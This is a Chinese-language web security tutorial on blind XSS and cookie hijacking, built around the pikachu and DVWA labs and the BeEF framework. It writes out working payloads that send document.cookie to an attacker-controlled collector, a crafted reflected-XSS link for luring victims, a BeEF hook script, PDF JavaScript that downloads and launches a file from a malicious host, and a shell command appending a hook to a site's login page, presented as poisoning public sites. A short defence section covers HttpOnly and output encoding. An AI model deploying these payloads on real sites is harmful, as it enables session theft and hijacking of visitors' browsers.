XSS盲打与cookie劫持

【学习目标、重难点知识】

【学习目标】

【重难点知识】

XSS盲打（加载远程攻击payload）

XSS偷cookie

cookie收集

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

安装和使用

XSS 一些实战应用

1. XSS PDF

2. 公网投毒

3. 网站挂马

XSS防御

HttpOnly

输入检查

输出检查

【学习目标、重难点知识】

【学习目标】

XSS盲打

XSS收集平台

BeFF框架的使用

在线XSS收集平台的使用

【重难点知识】

XSS收集平台的使用

在线XSS收集平台的使用

XSS盲打（加载远程攻击payload）

盲打的意思就是指：在看不见XSS内容提交后的输出的情况下，强制把xss脚本提交上去。此种情况多出现在留言板，问题反馈等可以在后台查看的情况下，当我们的管理员或客服打开网页的时候，就此中招。

以pikachu的xss盲打为例子，在留言的时候，如留下的是XSS的代码，这些代码窃取了会话session，而后台如果没有对这些xss代码进行过滤，问题就此产生。

XSS后台很多，也很好用，包括xssme pkxss 等等。我们可以在pikachu靶场里看到有xss的集成平台。

XSS偷cookie

前期准备

被攻击者网站：http://pikachu/

黑客部署的网站：http://pkxss/

利用过程

获取cookie信息文件在哪：http://pkxss/xcookie/cookie.php

- cookie.php，需要get将cookie内容传过来

- 所以要让受害者去访问http://pkxss/xcookie/cookie.php?cookie=1231321

如何让受害者去访问？
让受害者执行我们的JS代码
如何让受害者执行？
找xss漏洞，将代码插入到目标网站

<script>document.location='http://pkxss/xcookie/cookie.php?cookie=cookie'%2bdocument.cookie</script>			//注意，符号+，要改成%2b

受害者执行完之后，会重定向到我们设置的安全网站

这个时候受害者执行js代码之后，就会将cookie，发送到目标服务器上，目标服务器用cookie.php接收cookie信息

注意，cookie.php中重定向网站要自己修改，改成目标自己的站点

cookie收集

重定向到另一个可信网址让点击者不知情。

注意这个地方这个cookie.php的文件位置，我们要访问这个收集cookie的文件路径应该是：

http://主机地址/pkxss/xcookie/cookie.php

我们可以构建一个偷cookie的payload：

<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>

接下来在反射性XSS中试一试：

获得的结果：

可以get反射型XSS构建一个欺骗用户点击的链接：

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie;">&submit=submit

注意：+会被过滤，用%2B来替换

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;">&submit=submit

访问之后：

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

BeeF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。

BeeF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用，被分为前端和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeeF持有者可以通过浏览器来登录 BeEF 的后端，来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

安装和使用

安装教程：https://www.cnblogs.com/xfbk/p/17936987

我们主要在docker中去使用，安装完docker并启动后，我们搜索BeeF框架的镜像：

然后拉取下来：

然后直接启动docker:

docker run -d --name beef -p 3000:3000 janes/beef

现在，我们通过浏览器打开BeEF的界面：

http://xxx.xxx.xxx.xxx:3000/ui/authentication 默认账号密码：beef/beef

此时，我们已经进入了BeEF页面里面，但是发现什么都没有。最后我们要设置一个钩子，将下面这段代码保存为beef.html：

<html> 
  <head>    
    <title>BeEF测试</title> 
  </head> 
  <body>    
    <script src="http://192.168.119.129:3000/hook.js"></script>

  </body> 
</html>

这是一个最简单的例子，<script>标签的src属性指向的是BeEF的钩子，其中里面的地址大家根据自己实际情况更改。也可以直接将这个路径贴到浏览器中，看看这个JS代码。

接下来访问这个文件，就可以看到主机上线：

这就类似一个远控木马，别人点击了你的链接就能操控他的浏览器了，还能执行很多命令，命令菜单不多，大家都点点看看吧。

XSS 一些实战应用

1. XSS PDF

首先我们需要制作一个恶意的 pdf 文件，大多有三种方式：

- 迅捷 PDF 编辑器（推荐）

- Adobe Acrobat DC

- Python 脚本嵌入

这里使用迅捷 PDF 编辑器，新建空白页面：

然后选中缩略图，点击属性，此时在右侧可以看到属性栏：

新增运行 JavaScript：

在弹出的 JavaScript 编辑器对话框中输入以下代码，然后保存文件：

app.alert("恶意代码");通过弹出恶意警告框来干扰用户或欺骗用户。

this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过导出数据对象来触发恶意文件的下载或执行。

this.submitForm({ cURL: "http://恶意网站/恶意脚本" });通过提交表单来触发恶意脚本的执行。

注：之所以不是 alert('xss')，这是因为Adobe支持自身的 JavaScript 对象模型，利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。

现在恶意文件已经制作完成，使用浏览器打开：

但也不是所有浏览器都会弹：

- Chrome（弹）

- Edge（弹）

- QQ（弹）

- Firefox（不弹）

- IE（不弹）

同时还有一些支持在线预览的网盘也会出现此类问题：https://catbox.moe/

同样的 PDF 内的 JS 是被大幅阉割过的，不存在能够获取 cookie 等问题。

2. 公网投毒

在站点中嵌入 xss 代码，每个访问者都将进行回连（供应链攻击）。

公网自建站点（DVWA + BeEF）：

docker run -itd -p 81:80 --name dvwa citizenstig/dvwa:latest

在 login.php 处添加代码：

docker exec -it dvwa /bin/bash
echo '<script src="http://10.10.8.21:3000/hook.js"></script>' >> /var/www/html/login.php

查看结果：

root@e7e481b84bad:/# tail -n 1 /var/www/html/login.php
<script src="http://10.10.8.21:3000/hook.js"></script>

当我们访问 DVWA 登录页面时，BeEF 就已经上线了：

3. 网站挂马

对方访问站点后直接造成权限获取，一般都是利用浏览器漏洞（0 day），常用漏洞有：

- ms14-064（CVE-2014-6332）

- CVE-2018-8174

- CVE-2019-1367

- CVE-2021-21220

- CVE-2023-4863

参考页面：

CVE-2021-21220（Chrome）漏洞复现 | Yongz丶

XSS防御

HttpOnly

HttpOnly 最早由微软提出，浏览器将禁止页面的JavaScript访问HttpOnly属性的Cookie。HTTPOnly 并未要对抗XSS，HTTPOnly 解决的是XSS后的Cookie劫持攻击。在使用了HTTPOnly之后，会使这种攻击失效。

使用了HttpOnly之后就没有办法偷取cookie了。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");


Set-Cookie : uid=112; Path=/; HttpOnly



cookie:

输入检查

常见的web漏洞都要求攻击者构造一些特殊字符，这些特殊字符可能是常规用户不会用到的，所以输入检查就很有必要了。在XSS防御上一般就是检查用户输入数据中是否包含一些特殊字符，如<、>、"、' 如果发现这些特殊字符将这些关键字符过滤或者编码。

比较智能的检查还可以匹配XSS 的特征，比如查找用户数据中是否包含了

输出检查

除了富文本的输出之外，在变量输出到HTML页面时，可以使用编码或者转义的方式来防御XSS攻击。

HTML代码的编码方式是HtmlEncode。

PHP中有htmlentities()和htmlspecialchares() 这两个函数可以满足安全要求

Javascript 可以使用JavascriptEncode。

在Django自带的模板系统中，可以使用escape进行htmlencode，并且在Django 1.0中默认所有变量都会被escape。

web2py中，也默认escape了所有变量。